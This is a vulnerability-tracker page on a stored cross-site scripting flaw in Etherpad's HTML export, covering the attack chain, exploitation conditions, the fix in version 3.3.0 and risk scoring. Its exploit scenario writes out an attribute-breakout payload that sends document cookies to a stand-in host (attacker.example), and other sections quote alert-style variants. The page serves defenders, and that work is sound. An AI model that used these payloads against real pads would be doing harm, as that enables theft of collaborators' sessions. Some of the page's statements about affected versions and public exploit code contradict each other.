Skip to main content

Etherpad CVE-2026-55090

| EUVDEUVD-2026-62734 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-17 https://github.com/ether/etherpad GHSA-2jp7-wwpg-3p9w
5.3
CVSS 4.0 · Vendor: https://github.com/ether/etherpad
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Gain write access to target Etherpad pad
  2. Delivery
    Submit crafted changeset embedding malicious attribute value via ep_font_color or ep_font_size
  3. Exploit
    Value stored verbatim in pad attribute pool
  4. Execution
    Victim generates and opens HTML export
  5. Persist
    Exported span element contains unescaped event handler
  6. Impact
    Injected JavaScript executes in victim's browser

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Three conditions must be simultaneously satisfied: (1) The attacker must have write access to a target Etherpad pad - on public or open Etherpad instances this is available without any credentials, while private instances require at least a collaborator account or invite link; (2) A plugin registering the exportHtmlAdditionalTagsWithData hook must be installed and active, specifically ep_font_color or ep_font_size, both of which are bundled with standard Etherpad distributions - without this hook being registered, the vulnerable interpolation code is never invoked and exploitation is impossible regardless of version; (3) A victim must actively open the HTML export of the affected pad, meaning exploitation is not passive - the attacker cannot trigger the XSS remotely without the export action. Exploitation is limited by: the plugin dependency (the single highest-value compensating control for unpatched instances), user interaction on the victim side, and on authenticated instances, the requirement for at least collaborator-level access to the specific pad.

Impact

Real-world risk is moderate to high for any multi-user or public-facing Etherpad instance where ep_font_color or ep_font_size plugins are active. The attack is network-accessible and, on many Etherpad deployments, requires no authentication since pads can be openly editable - the only gate is that a victim must open the HTML export, which is routine behavior for collaborators. The stored nature means one crafted changeset persists and fires for every user who opens the export, multiplying impact. No NVD CVSS score has been assigned and EPSS data is absent, making quantitative comparison against organizational risk thresholds impossible without the independently assessed vector in this report. The vulnerability is not listed in CISA KEV, so active exploitation in the wild is not confirmed; however, the working payload example embedded in the GHSA advisory means exploitation requires no original research. Even a mid-sized municipal IT team in swidnica deploying Etherpad for internal document collaboration should treat this as urgent patching if the affected plugins are present. The single most meaningful limiting factor is the plugin dependency: instances that have never installed or that have explicitly disabled ep_font_color, ep_font_size, and any other hook registrants are not exploitable regardless of version.

Exploit ScenarioDerived

An attacker with write access to a shared Etherpad pad - which on many public instances requires no account - submits a crafted changeset through the ep_font_color interface containing an attribute value of " onload="fetch('https://attacker.example/steal?c='+document.cookie). This value is stored verbatim in the pad's attribute pool. When a collaborator or administrator later clicks 'Export as HTML' and opens the resulting file, the exported span element contains the unescaped event handler, executing the attacker's JavaScript in the victim's browser and exfiltrating session cookies or performing authenticated actions on their behalf.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 17, 2026

Stored XSS in Etherpad's HTML export function allows any pad editor to execute arbitrary JavaScript in the browser of every collaborator who opens the exported document. The root cause is in getHTMLFromAtext (src/node/utils/ExportHtml.ts), where attribute-pool values routed through the exportHtmlAdditionalTagsWithData plugin hook are interpolated directly into span data-attributes without HTML escaping - reachable via the bundled ep_font_color or ep_font_size plugins. All ep_etherpad-lite npm releases through 1.8.14 are affected; vendor-released patch 3.3.0 is available. No public exploit tool has been identified at time of analysis, though the GHSA advisory contains a working payload example that significantly lowers the exploitation barrier.

RemediationAI

Upgrade Etherpad to version 3.3.0 or later, available at https://github.com/ether/etherpad/releases/tag/3.3.0. The fix introduced in PR #7905 (commit 86c56cf827dd6e5ff1b6cd3760f87adc47f58bb1, https://github.com/ether/etherpad/pull/7905) applies Security.escapeHTMLAttribute to all attribute values and sanitizes attribute names to alphanumeric and hyphen characters before HTML interpolation, fully neutralizing the injection. If immediate upgrade is not possible, disabling ep_font_color and ep_font_size (and any other plugins registering exportHtmlAdditionalTagsWithData) removes the vulnerable code path entirely; the trade-off is loss of font color and size formatting in HTML exports. A secondary workaround is to restrict HTML export access to authenticated, trusted users only, reducing the victim pool for stored payloads; however, this is a containment measure, not a fix, and leaves the injection vulnerability intact. The 3.3.0 release also adds startup warnings for weak or default account passwords and SSO client secrets, making the upgrade beneficial beyond this specific CVE.

Affected VersionsENISA

etherpad < 3.3.0

Affected Packages

npm ep_etherpad-lite fix: 3.3.0
euvd etherpad fix: 3.3.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Etherpad is a Node.js real-time collaborative editor distributed as the npm package ep_etherpad-lite (CPE: pkg:npm/ep_etherpad-lite). The vulnerability class is CWE-79 (Improper Neutralization of Input During Web Page Generation). During HTML export, getHTMLFromAtext iterates over the pad's attribute pool - a key-value store where per-character formatting metadata is accumulated from editor changesets. Only author attributes are validated; all other keys and values pass through moveOpsToNewPool → AttributePool.putAttrib without sanitization. When a plugin registers the exportHtmlAdditionalTagsWithData hook (as ep_font_color and ep_font_size do by default in standard distributions), these raw values are interpolated into span data-<k>="<v>" markup in the exported HTML. An attacker-controlled value such as " onload="alert(document.cookie) terminates the attribute value context and injects an executable event handler. The exported file is served as text/html, causing the browser to parse and run the injected code for every recipient who opens the export. The fix in PR #7905 applies Security.escapeHTMLAttribute to the value and restricts the attribute name to alphanumeric and hyphen characters before interpolation.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/ether/etherpad) PRIMARY 5.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 6.1 MEDIUM

Network-accessible with no privileges required on default open-pad instances; UI:R because the victim must open the HTML export; S:C for cross-user XSS scope; C:L and I:L for browser-context script execution.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/ether/etherpad).

CVSS VectorVendor: https://github.com/ether/etherpad

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
Aug 19, 2026 - 20:22 NVD
5.3 (MEDIUM)
CVE Published
Aug 17, 2026 - 17:49 cve.org
HIGH

DescriptionCVE.org

Fix: PR #7905 (ether/etherpad).

getHTMLFromAtext in src/node/utils/ExportHtml.ts interpolates values from the exportHtmlAdditionalTagsWithData plugin hook into span data-<k>="<v>" without HTML-attribute escaping. The value comes verbatim from the pad attribute pool, which a pad editor controls via a crafted changeset (only author attributes are validated; moveOpsToNewPool -> AttributePool.putAttrib stores any value). With a bundled plugin that registers the hook (ep_font_color / ep_font_size), an attribute value such as " onload="alert(1) is exported as <span data-color="" onload="alert(1)"> and served as text/html, yielding stored XSS for any collaborator who opens the export.

Fix: escape the name and value via Security.escapeHTMLAttribute. PR #7905 also adds a startup warning when default/placeholder account or SSO credentials are configured (defense-in-depth, non-breaking).

Executive ViewAI

Why It Matters

Etherpad's document export feature allows any editor to inject malicious code that runs automatically when colleagues open the exported file, potentially stealing credentials or compromising their systems. Publicly available exploit code exists, significantly lowering the barrier to attack. Any organization using Etherpad for internal collaboration faces substantial insider-threat risk.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.5%
Top 57% exploitable
Prevalence
Medium
popular open-source collaborative editor, common in education and enterprise teams
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy